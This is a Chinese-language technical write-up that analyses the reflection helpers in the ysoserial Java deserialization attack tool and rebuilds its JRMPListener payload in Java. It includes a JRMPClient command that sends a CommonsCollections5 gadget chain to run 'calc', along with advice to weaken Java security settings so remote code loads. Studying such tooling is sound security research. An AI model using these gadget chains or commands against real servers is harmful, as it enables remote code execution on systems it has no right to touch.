前言:
ysoserial作为优秀的反序列化攻击工具,其提供的攻击调用链也是很简单好用,但是一直没有分析过其代码逻辑,最近有空正好分析了一下,对反序列化理解有更好的帮助
代码分析:
其代码中最重要的两个是反射和公共调用方法,为payloads\util下的Reflections.java和Gadgets.java,我们主要对这两个文件进行分析:
反射:
查看Reflections.java,首先可以看到方法setAccessible,其根据版本,当java版本大于12的时候会通过com.nqzero.permit.Permit设置属性
//当为private和protected时将此对象的 accessible 标志设置为指示的布尔值,即设置其可访问性
// 参数 getFields() 子类和父类的所有public变量
// 参数 getMethods() 父类和子类方法
public static void setAccessible(AccessibleObject member) {String versionStr = System.getProperty("java.version");int javaVersion = Integer.parseInt(versionStr.split("\\.")[0]);if (javaVersion < 12) {// quiet runtime warnings from JDK9+Permit.setAccessible(member);} else {// not possible to quiet runtime warnings anymore...// see https://bugs.openjdk.java.net/browse/JDK-8210522// to understand impact on Permit (i.e. it does not work// anymore with Java >= 12)member.setAccessible(true);}
}
这就规避了高版本下调用setAccessible失效的情况。下面将各个函数过一下,首先看下getField方法:
// 获取public、protected和private类型的变量,并设置为可访问
public static Field getField(final Class<?> clazz, final String fieldName) {Field field = null;try {// 只能获取子类所有的public、protected和private类型的变量,不能获取父类的变量field = clazz.getDeclaredField(fieldName);setAccessible(field);}catch (NoSuchFieldException ex) {// 返回当前类的父类if (clazz.getSuperclass() != null)field = getField(clazz.getSuperclass(), fieldName);}return field;
}
getField本质上就是获取指定类public、protected和private类型的变量并设置为可访问,但是其并没有选择使用clazz.getField,因为其只能获取到public类型变量,所以需要使用 getDeclaredField获取到全部的变量,并且当获取的是父进程变量,使用clazz.getSuperclass可以跳转到父进程进行获取,并且设置为true属性,方便后续操作。很完善
其调用代码等同于如下:
类似当我需要反射org.codehaus.groovy.runtime.MethodClosure的method值,正常为如下编写:
Field field1 = Class.forName("org.codehaus.groovy.runtime.MethodClosure").getDeclaredField("method"); field1.setAccessible(true);
使用上述方法,一行即可
Field field2 = ysoserial_reflect.getField(Class.forName("org.codehaus.groovy.runtime.MethodClosure"), "method");
getFieldValue方法,获取Obj对象的field字段值:
// 获取Obj对象的field字段值
// Obj为NULL 获取static修饰的静态字段field的值
public static Object getFieldValue(final Object obj, final String fieldName) throws Exception {final Field field = getField(obj.getClass(), fieldName);return field.get(obj);
}
很好理解就是获取对应反射方法变量的值,
getFirstCtor方法:获取第一个 类的构造函数
// 获取第一个 类的构造函数,包括public、protected和privatepublic static Constructor<?> getFirstCtor(final String name) throws Exception {final Constructor<?> ctor = Class.forName(name).getDeclaredConstructors()[0];setAccessible(ctor);return ctor;}
Constructor ctor = ysoserial_reflect.getFirstCtor("org.apache.commons.collections.functors.InvokerTransformer");
其中有两个构造函数,使用上述代码只能获取到第一个构造函数
个人感觉这里只能获取到第一个构造函数不是很方便,可以加上参数,获取指定第几个构造函数,类似如下:
public static Constructor<?> getFirstCtor2(final String name, int num) throws Exception {final Constructor<?> ctor = Class.forName(name).getDeclaredConstructors()[num];setAccessible(ctor);return ctor;
}
newInstance方法:创建类
// 使用该方法创建类,接受可变的参数个数,构造函数实际有几个传输,这里就传递几个参数值。
public static Object newInstance(String className, Object ... args) throws Exception {return getFirstCtor(className).newInstance(args);
}
使用org.springframework.aop.framework.JdkDynamicAopProxy测试,调用方法如下,可以成功构建JdkDynamicAopProxy类
看下 JdkDynamicAopProxy类,其本质就是调用指定类的第一个构造函数:
createWithoutConstructor:使用反射机制创建一个指定类型的新实例
// 创建没有构造函数的类public static <T> T createWithoutConstructor ( Class<T> classToInstantiate )throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {return createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]);}// 创建带构造函数的类// 使用反射机制创建一个指定类型的新实例,并使用给定的构造函数参数进行初始化,即使构造函数是 private 的public static <T> T createWithConstructor ( Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs )throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {// 使用 constructorClass 和 consArgTypes 参数获取指定的构造函数。getDeclaredConstructor() 方法可访问 constructorClass 中的所有构造函数,包括 private 构造函数。Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes);setAccessible(objCons);// 使用 Java 反射 API 中的 ReflectionFactory 类创建一个新的构造函数对象。这个新的构造函数对象与 objCons 不同,因为它是为序列化目的而创建的Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);setAccessible(sc);return (T)sc.newInstance(consArgs);}
该函数主要执行流程为三步:
1.首先使用getDeclaredConstructor获取指定的类所有构造函数
2.然后调用newConstructorForSerialization创建一个新的构造函数对象,专门用于在序列化和反序列化过程中实例化一个类,其中参数要求第一个参数为要实例化的类,第二个参数为原始的构造函数对象,其必须为第一个参数的构造函数或父类构造函数
3.最后调用newInstance实例化对应类,并返回
这里用JRMPListener进行参考,代码如下:
public UnicastRemoteObject getObject ( final String command ) throws Exception {int jrmpPort = Integer.parseInt(command);UnicastRemoteObject uro = Reflections.createWithConstructor(ActivationGroupImpl.class, RemoteObject.class, new Class[] {RemoteRef.class}, new Object[] {new UnicastServerRef(jrmpPort)});Reflections.getField(UnicastRemoteObject.class, "port").set(uro, jrmpPort);return uro;}
其主要通过反序列化实现JRMP的指定端口的监听指定端口,然后客户端将攻击代码发送到服务端即可执行代码,首先我们测试下代码,使用ysoserial JRMPClient进行攻击:
命令如下:
java -cp ysoserial-all.jar ysoserial.exploit.JRMPClient 127.0.0.1 33121 CommonsCollections5 "calc"
需要注意java版本,高版本的会禁止加载远程代码,使用低版本java或者关闭安全验证
将代码分解如下:
public static <T> T mycreateWithConstructor() throws Exception{try {int jrmpPort = Integer.parseInt("33121");Constructor<? super T> objCons = (Constructor<? super T>) RemoteObject.class.getDeclaredConstructor(new Class[]{RemoteRef.class});ysoserial_reflect.setAccessible(objCons);Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(ActivationGroupImpl.class, objCons);ysoserial_reflect.setAccessible(sc);UnicastRemoteObject uro = (UnicastRemoteObject) sc.newInstance(new Object[]{new UnicastServerRef(jrmpPort)});Field field = ysoserial_reflect.getField(UnicastRemoteObject.class, "port");field.set(uro, jrmpPort);ByteArrayOutputStream buf = new ByteArrayOutputStream();ObjectOutputStream objOut = new ObjectOutputStream(buf);objOut.writeObject(uro);byte[] ceshi = buf.toByteArray();//System.out.print(Base64.getEncoder().encodeToString(ceshi));ByteArrayInputStream btin = new ByteArrayInputStream(buf.toByteArray());ObjectInputStream objIn = new ObjectInputStream(btin);objIn.readObject();}catch (Exception e) {e.printStackTrace();System.out.print(e);}return null;}
其执行流程如下:
1.首先反射获取RemoteObject的参数为RemoteRef的构造函数
2.通过ReflectionFactory.getReflectionFactory().newConstructorForSerialization方法,看下newConstructorForSerialization具体含义:
public Constructor<?> newConstructorForSerialization (Class<?> classToInstantiate, Constructor<?> constructorToCall)java.lang.Class<?> classToInstantiate: 要为其创建特殊构造函数的类。通常是一个实现了 Serializable 接口的类。 java.lang.Constructor<?> constructorToCall: classToInstantiate的构造函数。这个构造函数可以是父类的。
newConstructorForSerialization创建了一个反序列化专用的反射方法对象,使用这个特殊的反射方法对象可以在newInstance创建实例的时候绕过构造方法创建类实例,这就是为何使用newConstructorForSerialization,使用newConstructorForSerialization创建ActivationGroupImpl反射方法对象,可以在实例化的时候忽略其构造方法,可靠性更高
这里使用反序列化方式获取ActivationGroupImpl类的构造方法,这里需要注意其参数objCons是我们上面获取到的RemoteObject构造函数,RemoteObject为ActivationGroupImpl的父类
3.然后实例化UnicastRemoteObject对象,这里需要注意为何本来是ActivationGroupImpl最后却要强制转换为UnicastRemoteObject,是因为Java RMI 的激活机制时,ActivationGroupImpl会优先被调用。它负责对象的激活、通信转发等功能,是先于 UnicastRemoteObject被调用的。它提供了 RMI 激活机制所需的基础支持。虽然我们最终调用的是UnicastRemoteObject的exportObject方法,但是创建的时候最好还是从基础ActivationGroupImpl进行创建。
4.最后反射修改UnicastRemoteObject的port参数为我们需要监听的端口,并生成序列化数据即可
反序列的时候首先调用UnicastRemoteObject的readObject方法:
然后调用exportObject方法,此处port值为我们设置的端口号
最后调用TCPTransport实现监听:
总结:
上面大概分析了ysoserial针对反射的代码,总结下其api接口,方便我们调用免得重复操作
setAccessible 可以针对多个java版本进行权限设置,不需要我们为java高版本下如何设置属性而犯愁
getField(final Class<?> clazz, final String fieldName)获取指定类clazz的fieldName变量,并且当指定类不存在会自动从父类获取
getFieldValue(final Object obj, final String fieldName) 获取指定对象obj的fieldName变量的值,并返回。 setFieldValue(final Object obj, final String fieldName, final Object value) 设置指定对象obj的fieldName变量值为value
getFirstCtor(final String name) 获取指定类name的第一个构造函数 newInstance(String className, Object ... args) 实例化反射对象,调用getFirstCtor进行构造,所以调用可以根据类的第一个构造方法返回一个实例化对象
createWithConstructor ( Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs ) 该方法可以创建一个基于序列化的反射方法对象,首先根据获取constructorClass参数为consArgTypes的构造函数,然后调用newConstructorForSerialization创建classToInstantiate类型的特殊反射方法对象,其父类为constructorClass,最后实例化classToInstantiate对象,参数为consArgs的构造函数,该方法主要用于当我们需要反射实例化的对象较为复杂时候,可以直接调用createWithConstructor创建一个特殊的反射方法对象。
createWithoutConstructor ( Class<T> classToInstantiate ) 或者可以直接调用createWithoutConstructor生成默认参数的特殊的反射方法对象。